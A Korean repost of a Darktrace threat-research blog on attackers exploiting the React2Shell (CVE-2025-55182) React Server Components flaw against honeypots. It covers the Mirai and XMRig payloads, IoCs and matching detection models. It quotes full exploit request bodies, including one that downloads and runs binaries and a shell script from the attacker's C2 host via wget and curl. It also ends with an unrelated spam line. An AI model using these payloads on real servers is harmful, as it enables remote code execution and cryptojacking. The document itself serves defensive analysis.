사이버 면역시스템
AI 인공지능을 통한 네트워크 이상징후 탐지하는
행위기반 분석 보안 솔루션 다크트레이스

사이버 면역시스템
AI 인공지능을 통한 네트워크 이상징후 탐지하는
행위기반 분석 보안 솔루션 다크트레이스
React2Shell(CVE-2025-55182) 공격 행위와 매핑되는 Darktrace의 탐지 모델
Darktrace는 허니팟 배포 후 몇 분 만에 React2Shell 취약점을 악용한 공격 사례를 발견했습니다. 공격자들은 셸 스크립트, HTTP 비콘, 암호화폐 채굴 활동 등을 활용하여 패치가 적용되지 않은 취약점에 빠르게 적응하는 모습을 보였습니다.React2Shell이란?CVE-2025-55182, 일명 React2Shell은 React 서버 구성 요소 내의 취약점으로, 인증되지 않은 공격자가 단 한 번의 요청으로 원격 코드 실행 권한을 획득할 수 있도록 허용합니다. 이 취약점의 심각성과 악용 용이성으로 인해 공개된 지 불과 며칠 만에 공격자들이 이를 적극적으로 악용하고 있습니다.다크트레이스는 클라우디팟 시스템을 사용하여 새로운 허니팟을 신속하게 배포함으로써 실제 환경에서 취약점 악용 사례를 모니터링할 수 있게 되었습니다.클라우디팟(Cloudypots)은 취약한 애플리케이션의 가상 인스턴스를 클라우드에 배포하고 공격 여부를 모니터링할 수 있도록 하는 시스템입니다. 이 접근 방식을 통해 다크트레이스(Darktrace)는 공격자에게 취약한 소프트웨어의 실제 배포처럼 보이는, 상호작용성이 높은 현실적인 허니팟을 구축할 수 있습니다.React2Shell 취약점 분석React2Shell 익스플로잇은 React 서버 컴포넌트의 "Flight" 프로토콜에 존재하는 안전하지 않은 역직렬화 취약점을 이용합니다. 이 프로토콜은 보안 연구원들이 특정 방식으로 직렬화된 데이터를 조작하여 임의의 JavaScript 코드를 실행할 수 있도록 악용될 수 있다는 사실을 발견한 사용자 지정 직렬화 방식을 사용합니다. 이는 프레임워크가 적절한 타입 검사를 수행하지 않아 공격자가 악용 가능한 타입을 참조하여 익명 함수로 해석되는 체인을 만들고, 원하는 JavaScript 코드를 프로미스 체인으로 호출할 수 있기 때문에 가능합니다.이 코드 실행을 통해 'child_process' 노드 모듈을 로드하고 대상 서버에서 모든 명령을 실행할 수 있습니다.취약점은 2025년 12월 3일에 발견되었고 같은 날 패치가 제공되었습니다[1]. 패치가 제공된 지 30시간 이내에 취약한 서버를 공격하는 데 사용할 수 있는 공개된 개념 증명이 나타났습니다. 이러한 빠른 일정으로 인해 공격자가 취약점을 적극적으로 악용하기 시작했을 때 많은 서버에 패치가 적용되지 않은 상태로 남아 있었습니다.초기 접근“Nuts & Bolts” 캠페인을 진행하는 공격자는 IP 주소 95.214.52[.]170을 사용하는 확산 서버를 통해 피해자를 감염시킵니다. 해당 IP 주소는 폴란드에 위치한 것으로 보이며, MEVSPACE라는 호스팅 제공업체와 연관되어 있습니다. 이 확산 서버는 매우 공격적이며, 약 1시간 간격으로 공격을 시도합니다.스패킹 시, 해당 악성 프로그램은 주로 3000번 포트를 공격 대상으로 삼는데, 이는 기본 또는 개발 환경에서 NEXT.js 서버의 기본 포트입니다. 공격자가 80번 포트와 443번 포트를 피하는 이유는 이러한 포트에는 서버 앞에 리버스 프록시나 WAF(웹 방화벽)가 설치되어 있어 공격 시도를 차단할 가능성이 높기 때문일 수 있습니다.확산 도구는 3000번 포트가 열려 있는 새로운 호스트를 발견하면, 조작된 요청을 보내 'whoami' 명령어를 실행하고 그 출력을 오류 다이제스트에 저장하여 공격자에게 반환함으로써 해당 호스트가 React2Shell에 취약한지 여부를 테스트합니다.{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}위 코드 조각은 공격자가 실행을 수행하는 조작된 요청의 핵심 부분입니다. 이를 통해 공격자는 서버의 취약성을 확인하고 NEXT.js 프로세스가 실행되는 사용자 계정을 가져올 수 있으며, 이는 공격 대상을 결정할 때 유용한 정보입니다.이후 공격자는 피해자 서버에서 실제 페이로드를 실행하도록 추가 요청을 보냅니다.{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}이 코드 조각은 wget(wget이 실패할 경우 curl 사용)을 이용하여 /dev 디렉터리에 여러 페이로드를 배포하고 실행하려고 시도합니다. x86 바이너리는 일반 Mirai와 큰 차이가 없는 Mirai 변종입니다. 'nuts/bolts' 엔드포인트는 bash 스크립트를 반환하며, 이 스크립트는 실행됩니다. 스크립트에는 실행 과정 전반에 걸쳐 여러 로그 문이 포함되어 있어 어떤 부분이 성공적으로 실행되었는지 확인할 수 있습니다. 'whoami' 요청과 유사하게, 출력 결과는 공격자가 검토할 수 있도록 오류 요약 형태로 제공됩니다.이 경우 명령 및 제어(C2) IP인 89[.]144.31.18은 가상 사설 서버(VPS) 서비스를 제공하고 암호화폐 결제를 허용하는 독일 호스팅 제공업체인 myPrepaidServer가 운영하는 다른 서버에 호스팅됩니다[2]. 그림 1: 공격 결과로 NEXT.JS 콘솔에서 관찰된 로그. 이 경우 허니팟은 배포된 지 불과 2분 만에 공격을 받았습니다.Nuts & Bolts 스크립트이 스크립트의 주요 목적은 암호화폐 채굴기를 위한 환경을 준비하는 것입니다.이 스크립트는 먼저 'pkill' 명령어를 사용하여 특정 이름과 일치하는 경쟁 암호화폐 채굴 프로세스를 종료하려고 시도합니다. 다음과 같은 프로세스를 확인하고 종료합니다.xmrigsoftirq (this also matches a system process, which it will fail to kill each invocation)watcher/tmp/a.shhealth.sh스크립트는 먼저 “fghgf”라는 프로세스가 실행 중인지 확인한다.만약 실행 중이 아니라면,hxxp://89[.]144.31.18/nuts/lc 에서 파일을 받아 /dev/jnegrrinje.json에 저장한다.또한 hxxp://89[.]144.31.18/nuts/x 에서 또 다른 파일을 내려받아 /dev/fghgf 로 저장한다.그 후 스크립트는 다음 명령을 실행한다:/dev/fghgf -c /dev/jnegrrinje.json -B해당 코드는 백그라운드에서 동작하는 XMRig 채굴 프로그램(miner) 을 기동시키는 동작이다.그림 2: XMRig 배포 스크립트.마이너는 "poop"을 사용자 이름과 비밀번호로 사용하여 두 개의 프라이빗 풀(주소는 37[.]114.37.94및 ) 에 연결하도록 구성되어 있습니다. 프라이빗 풀을 사용하면 연결된 지갑 주소가 숨겨집니다. 여기에서 간단한 bash 스크립트가 에 저장됩니다 . 이 스크립트는 시스템에서 실행 중인 모든 프로세스를 지속적으로 탐색하고 실행된 원본 실행 파일의 복사본이 포함된 해당 경로를 읽습니다. 'strings' 유틸리티를 실행하여 데이터에서 발견된 모든 유효한 ASCII 문자열을 출력하고 "xmrig", "rondo" 또는 "UPX 5"가 포함되어 있는지 확인합니다. 이러한 문자열이 포함되어 있으면 해당 프로세스에 SIGKILL 신호를 보내 종료합니다.37[.]114.37.82/dev/stink.sh/proc/pid/exe또한, 실행 파일이 특정 경로로 심볼릭 링크되어 있거나 삭제된 경우를 확인하기 위해 해당 실행 파일 경로에 대해 'ls –l' 명령을 실행합니다. 출력에 다음 문자열 중 하나라도 포함되어 있으면 스크립트는 SIGKILL 신호를 보내 프로그램을 종료합니다.(deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.xmrighashwatcher/dev/asoftirqrondoUPX 5.02그림 3: 킬러 루프와 드로퍼. 이 경우 ${R}/${K}는 /dev/stink.sh로 해석됩니다.고객 환경에서 Darktrace 관찰 결과 12월에 CVE-2025-55182가 공개된 후, Darktrace는 12월 4일경부터 고객 환경 전반에서 여러 차례의 공격 시도를 관찰했습니다. Darktrace는 문제 해결 과정에서 일관된 침해 징후(IoC)들을 확인했습니다. 여러 배포 환경과 반복되는 인프라 클러스터에서 이러한 징후들을 종합적으로 분석한 결과, 셸 스크립트 다운로드와 HTTP 비콘 전송을 포함하는 일관된 공격 사슬을 발견했습니다.한 예로, 12월 5일 Darktrace는 악성 IoC 엔드포인트에 대한 외부 연결을 감지했으며, 이후 다른 잠재적 악성 엔드포인트에 대한 추가 연결도 감지했습니다. 이러한 연결은 위에서 설명한 IoC와 관련이 있는 것으로 보이며, 의심스러운 IP 주소 중 하나가 동일한 ASN을 공유했습니다. 이러한 의심스러운 외부 연결 이후 Darktrace는 암호화폐 채굴 관련 활동을 감지했습니다. 몇 시간 후, 해당 장치는 네트워크상의 다른 내부 장치와 SMB 및 RDP 세션을 시도하는 등 잠재적인 측면 이동 활동을 시작했습니다. 이러한 일련의 사건들은 React2Shell 취약점 악용 악성 캠페인과 관련된 활동임을 시사합니다.일반적으로 3000~3011 범위의 포트, 특히 3001번 포트로 향하는 HTTP 트래픽이 관찰되었습니다. 요청은 curl/7.76.1, curl/8.5.0, Wget/1.21.4 등의 사용자 에이전트와 기타 일반적인 HTTP 서명을 사용하는 스크립트 도구에서 자주 발생했습니다. 이러한 요청과 관련된 URI에는 /nuts/x86 및 /n2/x86과 같은 경로와 /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh와 같은 길고 무작위로 생성된 셸 스크립트 이름이 포함되었습니다. 어떤 경우에는 /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true와 같은 쿼리 문자열을 사용하는 매개변수화된 로더가 관찰되었습니다. 인프라 분석 결과 사이버 범죄자들이 자주 사용하는 잘 알려진 "방탄" 호스팅 제공업체인 ASN AS200593(Prospero OOO)에 연결된 IP 전용 호스트에 대한 반복적인 콜백이 발견되었습니다.[3] 여기에는 193.24.123[.]68:3001 및 91.215.85[.]42:3000과 같은 주소와 페이로드 및 스테이징 콘텐츠를 호스팅하는 다른 노드가 포함됩니다.Darktrace 모델 적용 범위Darktrace 모델은 지속적으로 악용 가능성을 시사하는 동작들을 포착했습니다. 가장 빈번하게 탐지된 항목으로는 새로운 비표준 포트에서의 비정상적인 서버 활동과 호스트 이름이 없는 IP 주소로 전송되는 HTTP 요청(흔히 흔하지 않은 애플리케이션 프로토콜 사용) 등이 있었습니다. 또한, 모델은 인터넷에 연결된 시스템에서 curl 및 wget과 같은 새로운 사용자 에이전트가 나타나는 것을 감지했는데, 이는 기준 동작에서 벗어난 비정상적인 현상으로 해석됩니다.또한, 관찰된 활동에는 외부 소스에서 스크립트 및 실행 파일 다운로드가 드믈게 포함되었으며, Darktrace의 자율 대응 기능이 활성화된 경우 의심스러운 전송을 차단하기 위해 개입했습니다. 비콘 패턴 또한 중요한 신호였는데, 새롭거나 드문 IP 주소로의 HTTP 비콘, 지속적인 SSL 또는 HTTP 트래픽 증가, 그리고 "4일간의 비콘" 및 "느린 비콘"과 같은 장기간 지속되는 침해 지표가 감지되었습니다.1. 비정상적 포트(Non-Standard Port)에서의 서버 활동 탐지React2Shell 공격은 주로 3000–3001 같은 비정상 포트에서 악성 요청이 발생하는데, Anomalous Server Activity 또는 Anomalous Connection 관련 모델에서 탐지할 수 있습니다.2. Hostname이 없는 외부 IP로 향하는 이상 HTTP 요청 탐지공격자는 종종 익숙하지 않은 외부 인프라(IP-only endpoints)로 HTTP POST 요청을 보내며, Anomalous Connection 또는 Compromise 관련 모델에서 탐지됩니다.3. 새로운 사용자 에이전트(curl, wget 등) 등장 탐지취약점 악용 시 curl/wget 같은 스크립트형 유저 에이전트를 사용하며, Device::New User Agent 모델에서 탐지합니다.4. 드문 외부 소스에서 스크립트·실행파일 다운로드 탐지악성 쉘 스크립트나 실행 파일을 외부에서 가져오는 행위는 Anomalous File 또는 Compromise 관련 Model에서 탐지가 가능합니다.5. HTTP/SSL Beaconing, 지속적인 외부 통신 패턴 탐지공격자는 초기 쉘 획득 후 C2 서버로 지속적인 beaconing을 수행하며, Compromise::HTTP Beaconing to New IP, Compromise::Sustained SSL/HTTP Increase 등으로 탐지됩니다.6. SMB/RDP를 이용한 잠재적 측면 이동(Lateral Movement) 탐지취약점 악용 이후 공격자는 네트워크 내 추가 확산을 시도할 수 있으며, Anomalous SMB 관련 모델로 이를 감지합니다.IoCsSpreader IP - 95[.]214.52.170C2 IP - 89[.]144.31.18Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddbXmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728faConfig hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666Monero pool 1 - 37[.]114.37.94Monero pool 2 - 37[.]114.37.82React2Shell 행위와 관련된 다크트레이스 위협 탐지모델 리스트 Anomalous Connection::Application Protocol on Uncommon PortAnomalous Connection::New User Agent to IP Without HostnameAnomalous Connection::Posting HTTP to IP Without HostnameAnomalous File::Script and EXE from Rare ExternalAnomalous File::Script from Rare External LocationAnomalous Server Activity::New User Agent from Internet Facing SystemAnomalous Server Activity::Rare External from ServerAntigena::Network::External Threat::Antigena Suspicious File BlockAntigena::Network::External Threat::Antigena Watched Domain BlockCompromise::Beacon for 4 DaysCompromise::Beacon to Young EndpointCompromise::Beaconing Activity To External RareCompromise::High Volume of Connections with Beacon ScoreCompromise::HTTP Beaconing to New IPCompromise::HTTP Beaconing to Rare DestinationCompromise::Large Number of Suspicious Failed ConnectionsCompromise::Slow Beaconing Activity To External RareCompromise::Sustained SSL or HTTP IncreaseDevice::New User AgentDevice::Threat IndicatorReact2Shell 취약점을 악용한 공격은 특별히 정교한 방식은 아니지만, 공격자들이 광범위한 패치가 이루어지기 전에 새로운 취약점을 활용하는 새로운 방법을 신속하게 개발할 수 있음을 보여줍니다. 허니팟을 처음 배포한 후 감염까지 단 2분밖에 걸리지 않았다는 점은 취약점이 발견되는 즉시 패치하는 것이 얼마나 중요한지 다시 한번 상기시켜 줍니다.<출처 : 다크트레이스 블로그 https://www.darktrace.com/blog/react2shell-how-opportunist-attackers-exploited-cve-2025-55182-within-hours>
This is a free penetration test service. Your website is vulnerable to spam. Use CAPTCHA.